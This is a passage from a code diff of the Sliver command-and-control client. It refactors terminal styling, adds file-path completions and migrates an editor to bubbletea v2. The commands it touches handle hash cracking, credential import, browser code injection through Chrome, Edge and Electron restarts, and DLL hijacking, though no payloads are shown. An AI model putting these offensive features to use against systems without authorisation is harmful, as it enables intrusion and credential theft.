carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(wordlistsAddCmd, 0)
|
||||||
wordlistsCmd.AddCommand(wordlistsAddCmd)
|
wordlistsCmd.AddCommand(wordlistsAddCmd)
|
||||||
|
|
||||||
wordlistsRmCmd := &cobra.Command{
|
wordlistsRmCmd := &cobra.Command{
|
||||||
@@ -95,6 +97,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.StringP("name", "n", "", "rules name (blank = filename)")
|
f.StringP("name", "n", "", "rules name (blank = filename)")
|
||||||
})
|
})
|
||||||
carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file"))
|
carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(rulesAddCmd, 0)
|
||||||
rulesCmd.AddCommand(rulesAddCmd)
|
rulesCmd.AddCommand(rulesAddCmd)
|
||||||
|
|
||||||
rulesRmCmd := &cobra.Command{
|
rulesRmCmd := &cobra.Command{
|
||||||
@@ -130,6 +133,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.StringP("name", "n", "", "hcstat2 name (blank = filename)")
|
f.StringP("name", "n", "", "hcstat2 name (blank = filename)")
|
||||||
})
|
})
|
||||||
carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file"))
|
carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(hcstat2AddCmd, 0)
|
||||||
hcstat2Cmd.AddCommand(hcstat2AddCmd)
|
hcstat2Cmd.AddCommand(hcstat2AddCmd)
|
||||||
|
|
||||||
hcstat2RmCmd := &cobra.Command{
|
hcstat2RmCmd := &cobra.Command{
|
||||||
|
|||||||
@@ -106,17 +106,17 @@ func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverClient)
|
|||||||
|
|
||||||
func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverClient) {
|
func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverClient) {
|
||||||
wordlistTable := table.NewWriter()
|
wordlistTable := table.NewWriter()
|
||||||
wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal)
|
wordlistTable.SetTitle(console.StyleBold.Render("Wordlists"))
|
||||||
wordlistTable.SetStyle(settings.GetTableStyle(con))
|
wordlistTable.SetStyle(settings.GetTableStyle(con))
|
||||||
wordlistTable.AppendHeader(table.Row{"Name", "Size"})
|
wordlistTable.AppendHeader(table.Row{"Name", "Size"})
|
||||||
|
|
||||||
rulesTable := table.NewWriter()
|
rulesTable := table.NewWriter()
|
||||||
rulesTable.SetTitle(console.Bold + "Rules" + console.Normal)
|
rulesTable.SetTitle(console.StyleBold.Render("Rules"))
|
||||||
rulesTable.SetStyle(settings.GetTableStyle(con))
|
rulesTable.SetStyle(settings.GetTableStyle(con))
|
||||||
rulesTable.AppendHeader(table.Row{"Name", "Size"})
|
rulesTable.AppendHeader(table.Row{"Name", "Size"})
|
||||||
|
|
||||||
hcTable := table.NewWriter()
|
hcTable := table.NewWriter()
|
||||||
hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal)
|
hcTable.SetTitle(console.StyleBold.Render("Markov Hcstat2"))
|
||||||
hcTable.SetStyle(settings.GetTableStyle(con))
|
hcTable.SetStyle(settings.GetTableStyle(con))
|
||||||
hcTable.AppendHeader(table.Row{"Name", "Size"})
|
hcTable.AppendHeader(table.Row{"Name", "Size"})
|
||||||
|
|
||||||
|
|||||||
@@ -132,35 +132,35 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient,
|
|||||||
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool) {
|
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool) {
|
||||||
tw := table.NewWriter()
|
tw := table.NewWriter()
|
||||||
tw.SetStyle(settings.GetTableStyle(con))
|
tw.SetStyle(settings.GetTableStyle(con))
|
||||||
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
|
tw.SetTitle(console.StyleBoldOrange.Render(fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName)) + "\n")
|
||||||
tw.AppendSeparator()
|
tw.AppendSeparator()
|
||||||
tw.AppendRow(table.Row{console.Bold + "Operating System" + console.Normal, fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Operating System"), fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Hashcat Version" + console.Normal, cracker.HashcatVersion})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Hashcat Version"), cracker.HashcatVersion})
|
||||||
if 0 < len(cracker.CUDA) {
|
if 0 < len(cracker.CUDA) {
|
||||||
for _, cuda := range cracker.CUDA {
|
for _, cuda := range cracker.CUDA {
|
||||||
tw.AppendSeparator()
|
tw.AppendSeparator()
|
||||||
tw.AppendRow(table.Row{console.Bold + "CUDA Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, cuda.Name, cuda.Version)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("CUDA Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", cuda.Name, cuda.Version))})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", cuda.Clock)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", cuda.Clock)})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", cuda.Processors)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", cuda.Processors)})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if 0 < len(cracker.Metal) {
|
if 0 < len(cracker.Metal) {
|
||||||
for _, metal := range cracker.Metal {
|
for _, metal := range cracker.Metal {
|
||||||
tw.AppendSeparator()
|
tw.AppendSeparator()
|
||||||
tw.AppendRow(table.Row{console.Bold + "Metal Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, metal.Name, metal.Version)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Metal Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", metal.Name, metal.Version))})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", metal.Clock)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", metal.Clock)})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", metal.Processors)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", metal.Processors)})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if 0 < len(cracker.OpenCL) {
|
if 0 < len(cracker.OpenCL) {
|
||||||
for _, openCL := range cracker.OpenCL {
|
for _, openCL := range cracker.OpenCL {
|
||||||
tw.AppendSeparator()
|
tw.AppendSeparator()
|
||||||
tw.AppendRow(table.Row{console.Bold + "OpenCL Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+console.Bold+"%s (%s)"+console.Normal, openCL.Name, openCL.Version)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("OpenCL Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", openCL.Name, openCL.Version))})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", openCL.Clock)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", openCL.Clock)})
|
||||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", openCL.Processors)})
|
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", openCL.Processors)})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
con.Printf("%s\n", tw.Render())
|
con.Printf("%s\n", tw.Render())
|
||||||
@@ -173,7 +173,7 @@ func printCracker(cracker *clientpb.Crackstation, index int, con *console.Sliver
|
|||||||
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
|
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
|
||||||
tw := table.NewWriter()
|
tw := table.NewWriter()
|
||||||
tw.SetStyle(settings.GetTableStyle(con))
|
tw.SetStyle(settings.GetTableStyle(con))
|
||||||
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
|
tw.SetTitle(console.StyleBold.Render("Benchmarks"))
|
||||||
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
|
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
|
||||||
tw.AppendHeader(table.Row{"Hash Type", "Rate"})
|
tw.AppendHeader(table.Row{"Hash Type", "Rate"})
|
||||||
if len(cracker.Benchmarks) == 0 {
|
if len(cracker.Benchmarks) == 0 {
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ func CrackHcstat2Completer(con *console.SliverClient) carapace.Action {
|
|||||||
}
|
}
|
||||||
|
|
||||||
results = append(results, file.Name)
|
results = append(results, file.Name)
|
||||||
desc := fmt.Sprintf("%s (%s chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
|
desc := fmt.Sprintf("%s (%d chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
|
||||||
results = append(results, desc)
|
results = append(results, desc)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package creds
|
package creds
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
@@ -65,6 +66,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["hash-type"] = CredsHashTypeCompleter(con)
|
(*comp)["hash-type"] = CredsHashTypeCompleter(con)
|
||||||
})
|
})
|
||||||
carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file"))
|
carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file"))
|
||||||
|
completers.RegisterLocalFilePathPositionalCompletion(credsAddFileCmd, 0)
|
||||||
credsAddCmd.AddCommand(credsAddFileCmd)
|
credsAddCmd.AddCommand(credsAddFileCmd)
|
||||||
|
|
||||||
credsRmCmd := &cobra.Command{
|
credsRmCmd := &cobra.Command{
|
||||||
|
|||||||
@@ -61,9 +61,9 @@ func printCollection(collection string, creds []*clientpb.Credential, con *conso
|
|||||||
tw := table.NewWriter()
|
tw := table.NewWriter()
|
||||||
tw.SetStyle(settings.GetTableStyle(con))
|
tw.SetStyle(settings.GetTableStyle(con))
|
||||||
if collection != "" {
|
if collection != "" {
|
||||||
tw.SetTitle(console.Bold + collection + console.Normal)
|
tw.SetTitle(console.StyleBold.Render(collection))
|
||||||
} else {
|
} else {
|
||||||
tw.SetTitle(console.Bold + "Default Collection" + console.Normal)
|
tw.SetTitle(console.StyleBold.Render("Default Collection"))
|
||||||
}
|
}
|
||||||
tw.AppendHeader(table.Row{
|
tw.AppendHeader(table.Row{
|
||||||
"ID",
|
"ID",
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package cursed
|
package cursed
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
@@ -75,6 +76,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) {
|
||||||
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
|
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(cursedChromeCmd, "payload")
|
||||||
cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
||||||
carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments"))
|
carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments"))
|
||||||
|
|
||||||
@@ -99,6 +101,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) {
|
||||||
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
|
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(cursedEdgeCmd, "payload")
|
||||||
cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
||||||
carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments"))
|
carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments"))
|
||||||
|
|
||||||
@@ -130,6 +133,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) {
|
flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) {
|
||||||
f.StringP("save", "s", "", "save to file")
|
f.StringP("save", "s", "", "save to file")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(CursedCookiesCmd, "save")
|
||||||
|
|
||||||
cursedScreenshotCmd := &cobra.Command{
|
cursedScreenshotCmd := &cobra.Command{
|
||||||
Use: consts.ScreenshotStr,
|
Use: consts.ScreenshotStr,
|
||||||
@@ -144,6 +148,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)")
|
f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)")
|
||||||
f.StringP("save", "s", "", "save to file")
|
f.StringP("save", "s", "", "save to file")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(cursedScreenshotCmd, "save")
|
||||||
|
|
||||||
return []*cobra.Command{cursedCmd}
|
return []*cobra.Command{cursedCmd}
|
||||||
}
|
}
|
||||||
@@ -94,7 +94,7 @@ func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
|||||||
}
|
}
|
||||||
if chromeExt != nil {
|
if chromeExt != nil {
|
||||||
con.Printf("success!\n")
|
con.Printf("success!\n")
|
||||||
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
con.PrintInfof("Found viable Chrome extension %s (%s)\n", console.StyleBold.Render(chromeExt.Title), chromeExt.ID)
|
||||||
con.PrintInfof("Injecting payload ... ")
|
con.PrintInfof("Injecting payload ... ")
|
||||||
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||||
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
||||||
@@ -120,7 +120,7 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons
|
|||||||
if chromeProcess != nil {
|
if chromeProcess != nil {
|
||||||
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
|
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
|
||||||
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
|
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
|
||||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
con.PrintWarnf("Sliver will attempt to restore the user's session, however %s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
|
||||||
con.Printf("\n")
|
con.Printf("\n")
|
||||||
confirm := false
|
confirm := false
|
||||||
err = forms.Confirm("Kill and restore existing Chrome process?", &confirm)
|
err = forms.Confirm("Kill and restore existing Chrome process?", &confirm)
|
||||||
|
|||||||
@@ -93,7 +93,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
|
|||||||
tmpFile, _ := os.CreateTemp("", "cursed")
|
tmpFile, _ := os.CreateTemp("", "cursed")
|
||||||
shell := readline.NewShell()
|
shell := readline.NewShell()
|
||||||
shell.History.AddFromFile("cursed history", tmpFile.Name())
|
shell.History.AddFromFile("cursed history", tmpFile.Name())
|
||||||
shell.Prompt.Primary(func() string { return "\033[31mcursed »\033[0m " })
|
shell.Prompt.Primary(func() string { return console.StyleRed.Render("cursed »") + " " })
|
||||||
// EOFPrompt: "exit",
|
// EOFPrompt: "exit",
|
||||||
|
|
||||||
if con.Settings.VimMode {
|
if con.Settings.VimMode {
|
||||||
@@ -111,7 +111,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
|
con.Printf("%s\n\n", console.StyleBold.Render(">>> Cursed Console, use ':help' for options"))
|
||||||
|
|
||||||
for {
|
for {
|
||||||
line, err := shell.Readline()
|
line, err := shell.Readline()
|
||||||
|
|||||||
@@ -77,7 +77,7 @@ func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
|||||||
}
|
}
|
||||||
if chromeExt != nil {
|
if chromeExt != nil {
|
||||||
con.Printf("success!\n")
|
con.Printf("success!\n")
|
||||||
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
con.PrintInfof("Found viable Edge extension %s (%s)\n", console.StyleBold.Render(chromeExt.Title), chromeExt.ID)
|
||||||
con.PrintInfof("Injecting payload ... ")
|
con.PrintInfof("Injecting payload ... ")
|
||||||
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||||
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
||||||
@@ -103,7 +103,7 @@ func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *consol
|
|||||||
if edgeProcess != nil {
|
if edgeProcess != nil {
|
||||||
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
|
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
|
||||||
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
|
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
|
||||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
con.PrintWarnf("Sliver will attempt to restore the user's session, however %s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
|
||||||
con.Printf("\n")
|
con.Printf("\n")
|
||||||
confirm := false
|
confirm := false
|
||||||
err = forms.Confirm("Kill and restore existing Edge process?", &confirm)
|
err = forms.Confirm("Kill and restore existing Edge process?", &confirm)
|
||||||
|
|||||||
@@ -85,7 +85,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
|
|||||||
if electronProcess != nil {
|
if electronProcess != nil {
|
||||||
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
|
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
|
||||||
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
|
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
|
||||||
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
con.PrintWarnf("%s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
|
||||||
con.Printf("\n")
|
con.Printf("\n")
|
||||||
confirm := false
|
confirm := false
|
||||||
err = forms.Confirm("Kill and restart the process?", &confirm)
|
err = forms.Confirm("Kill and restart the process?", &confirm)
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package dllhijack
|
package dllhijack
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/rsteube/carapace"
|
"github.com/rsteube/carapace"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"github.com/spf13/pflag"
|
"github.com/spf13/pflag"
|
||||||
@@ -37,6 +38,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
(*comp)["file"] = carapace.ActionFiles()
|
(*comp)["file"] = carapace.ActionFiles()
|
||||||
(*comp)["profile"] = generate.ProfileNameCompleter(con)
|
(*comp)["profile"] = generate.ProfileNameCompleter(con)
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletions(dllhijackCmd, "reference-file", "file")
|
||||||
carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system"))
|
carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system"))
|
||||||
|
|
||||||
return []*cobra.Command{dllhijackCmd}
|
return []*cobra.Command{dllhijackCmd}
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
"unicode/utf8"
|
"unicode/utf8"
|
||||||
|
|
||||||
|
tea "charm.land/bubbletea/v2"
|
||||||
"github.com/alecthomas/chroma/v2"
|
"github.com/alecthomas/chroma/v2"
|
||||||
"github.com/alecthomas/chroma/v2/lexers"
|
"github.com/alecthomas/chroma/v2/lexers"
|
||||||
"github.com/bishopfox/sliver/client/command/filesystem"
|
"github.com/bishopfox/sliver/client/command/filesystem"
|
||||||
@@ -17,8 +18,9 @@ import (
|
|||||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||||
"github.com/bishopfox/sliver/util/encoders"
|
"github.com/bishopfox/sliver/util/encoders"
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
"github.com/charmbracelet/colorprofile"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
|
"golang.org/x/term"
|
||||||
"google.golang.org/protobuf/proto"
|
"google.golang.org/protobuf/proto"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -151,7 +153,15 @@ func EditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
|
|
||||||
func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
|
func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
|
||||||
model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
|
model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
|
||||||
program := tea.NewProgram(model, tea.WithAltScreen())
|
width, height := 80, 24
|
||||||
|
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||||
|
width, height = w, h
|
||||||
|
}
|
||||||
|
program := tea.NewProgram(
|
||||||
|
model,
|
||||||
|
tea.WithWindowSize(width, height),
|
||||||
|
tea.WithColorProfile(colorprofile.TrueColor),
|
||||||
|
)
|
||||||
finalModel, err := program.Run()
|
finalModel, err := program.Run()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return editorResult{}, err
|
return editorResult{}, err
|
||||||
|
|||||||
@@ -6,11 +6,11 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"unicode"
|
"unicode"
|
||||||
|
|
||||||
|
tea "charm.land/bubbletea/v2"
|
||||||
|
"charm.land/lipgloss/v2"
|
||||||
"github.com/alecthomas/chroma/v2"
|
"github.com/alecthomas/chroma/v2"
|
||||||
"github.com/alecthomas/chroma/v2/formatters"
|
"github.com/alecthomas/chroma/v2/formatters"
|
||||||
"github.com/alecthomas/chroma/v2/styles"
|
"github.com/alecthomas/chroma/v2/styles"
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
|
||||||
"github.com/charmbracelet/lipgloss"
|
|
||||||
"github.com/charmbracelet/x/ansi"
|
"github.com/charmbracelet/x/ansi"
|
||||||
"golang.org/x/term"
|
"golang.org/x/term"
|
||||||
)
|
)
|
||||||
@@ -69,9 +69,12 @@ type editorModel struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
var (
|
var (
|
||||||
cursorStyle = lipgloss.NewStyle().Reverse(true)
|
lineStyle = lipgloss.NewStyle()
|
||||||
statusStyle = lipgloss.NewStyle().Reverse(true)
|
)
|
||||||
lineStyle = lipgloss.NewStyle()
|
|
||||||
|
const (
|
||||||
|
ansiReverseOn = "\x1b[7m"
|
||||||
|
ansiReverseOff = "\x1b[0m"
|
||||||
)
|
)
|
||||||
|
|
||||||
func newEditorModel(content, filename string, lexer chroma.Lexer, syntaxName string, showLineNumbers bool) *editorModel {
|
func newEditorModel(content, filename string, lexer chroma.Lexer, syntaxName string, showLineNumbers bool) *editorModel {
|
||||||
@@ -108,28 +111,29 @@ func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
|
|||||||
m.height = msg.Height
|
m.height = msg.Height
|
||||||
m.ensureCursorVisible()
|
m.ensureCursorVisible()
|
||||||
return m, nil
|
return m, nil
|
||||||
case tea.KeyMsg:
|
case tea.KeyPressMsg:
|
||||||
if m.clearMessage {
|
if m.clearMessage {
|
||||||
m.message = ""
|
m.message = ""
|
||||||
m.clearMessage = false
|
m.clearMessage = false
|
||||||
}
|
}
|
||||||
if msg.Type == tea.KeyCtrlC {
|
key := msg.Key()
|
||||||
|
if key.Mod.Contains(tea.ModCtrl) && key.Code == 'c' {
|
||||||
m.action = actionQuit
|
m.action = actionQuit
|
||||||
return m, tea.Quit
|
return m, tea.Quit
|
||||||
}
|
}
|
||||||
switch m.mode {
|
switch m.mode {
|
||||||
case modeCommand:
|
case modeCommand:
|
||||||
return m.handleCommand(msg)
|
return m.handleCommand(key)
|
||||||
case modeInsert:
|
case modeInsert:
|
||||||
return m.handleInsert(msg)
|
return m.handleInsert(key)
|
||||||
default:
|
default:
|
||||||
return m.handleNormal(msg)
|
return m.handleNormal(key)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return m, nil
|
return m, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) View() string {
|
func (m *editorModel) View() tea.View {
|
||||||
if m.width == 0 || m.height == 0 {
|
if m.width == 0 || m.height == 0 {
|
||||||
